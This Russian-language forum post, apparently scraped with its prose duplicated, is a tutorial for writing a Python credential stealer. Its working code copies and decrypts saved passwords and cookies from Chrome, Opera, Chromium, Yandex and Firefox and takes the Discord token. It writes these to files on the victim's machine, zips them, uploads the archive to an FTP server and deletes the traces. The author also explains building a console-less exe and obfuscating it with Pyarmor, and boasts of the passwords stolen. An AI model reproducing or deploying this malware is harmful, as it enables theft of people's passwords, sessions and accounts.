Привет всем!Как погодка?)
Сегодня я бы хотел показать ,как можно написать самый простой stealer на Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как:joy:)
Для начала нам нужен FTP сервер,я буду юзать FTP-сервер по скольку он бесплатный,халява)
Итак ,для начала нам нужно импортировать модули
Тут все просто ,модуль os для работы с директориями и удалением "следов". Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями , zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему
Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и расшифровывать БД ,а также искать куки
Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого ,только пути разные. А это самые популярные браузеры ,которыми пользуются юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все текстовики в архив и отправим их к себе на сервер!
Все,все текстовики с паролями сохранены в одном архиве! Который находится на диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим именем)
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен: хост,логин и пароль
Также я поместил архив в переменную localfile для работы с ним!Также ,так как я писал этот скрипт для себя,то я еще добавил перехват ошибок try и except .Но вы можете их убрать ,потому ,что я тестил скрипт и все работает
Так ,stealer готов ,но не у всех же есть python ,поэтому мы его конвертируем в exe.Вот так
Тут все легко
w - запуск exe без консоли
F - конвертировать в один файл
И имя фала нужно
И вот ,что вышло
И он естественно без иконки ,можете еще и иконку добавить
Запускаем!И вот результат
И вот в нашем каталоге лежит наш ZIP с паролями,скачаем и посмотрим
И вот все пароли,которые мы стрипизднули у юзверя,все просто имея минимальные навыки программирования!
Также можно кодировать наш .py тулзой Pyarmor
После кодирования будет вот такое:
Спасибо за внимание). А еще просто хотелось плашку "Авторская статья".Ну,попробуем)
АВТОР НЕ НЕСЕТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ДЕЙСТВИЕ ПОЛЬЗОВАТЕЛЕЙ!
Сегодня я бы хотел показать ,как можно написать самый простой stealer на Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как:joy:)
Для начала нам нужен FTP сервер,я буду юзать FTP-сервер по скольку он бесплатный,халява)
Итак ,для начала нам нужно импортировать модули
Python:
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему
Python:
user_name = os.getlogin()
Python:
def Chrome():
text = 'Passwords Google_Chrome:' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()
def Chrome_cockie():
textc = 'Cookies Chrome:' + '\n'
textc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()
def Opera():
texto = 'Passwords Opera:' + '\n'
texto += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()
def chromium():
textch = 'Chromium Passwords:' + '\n'
textch += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textch += url + ' | ' + login + ' | ' + password + '\n'
return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()
def Yandex():
texty = 'YANDEX Cookies:' + '\n'
texty += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()
def Firefox():
textf = ''
textf += 'Firefox Cookies:' + '\n'
textf += 'URL | COOKIE | COOKIE NAME' + '\n'
for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
for name in dirs:
conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
cursor = conn.cursor()
cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
data = cursor.fetchall()
for i in range(len(data)):
url, cookie, name = data[i]
textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'
break
return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()
def chromiumc():
textchc = ''
textchc += 'Chromium Cookies:' + '\n'
textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()
def Opera_c():
textoc = '\n' + 'Cookies Opera:' + '\n'
textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()
def discord_token():
if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
token = ''
conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
cursor = conn.cursor()
for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
token = row[1].decode("utf-16")
conn.close()
if token != '':
return token
else:
return 'Discord exists, but not logged in'
else:
return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()
Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого ,только пути разные. А это самые популярные браузеры ,которыми пользуются юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все текстовики в архив и отправим их к себе на сервер!
Python:
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен: хост,логин и пароль
Python:
localfile = r"D:\LOG.zip"
ftp_host = 'files.000webhost.com'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:
ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
fp.close()
ftp.close()
except:
print("Error! File not download")
try:
os.remove("D:\LOG.zip")
except:
print('File not removed!')
Так ,stealer готов ,но не у всех же есть python ,поэтому мы его конвертируем в exe.Вот так
Тут все легко
w - запуск exe без консоли
F - конвертировать в один файл
И имя фала нужно
И вот ,что вышло
И он естественно без иконки ,можете еще и иконку добавить
Запускаем!И вот результат
И вот в нашем каталоге лежит наш ZIP с паролями,скачаем и посмотрим
И вот все пароли,которые мы стрипизднули у юзверя,все просто имея минимальные навыки программирования!
Также можно кодировать наш .py тулзой Pyarmor
После кодирования будет вот такое:
Спасибо за внимание). А еще просто хотелось плашку "Авторская статья".Ну,попробуем)
АВТОР НЕ НЕСЕТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ДЕЙСТВИЕ ПОЛЬЗОВАТЕЛЕЙ!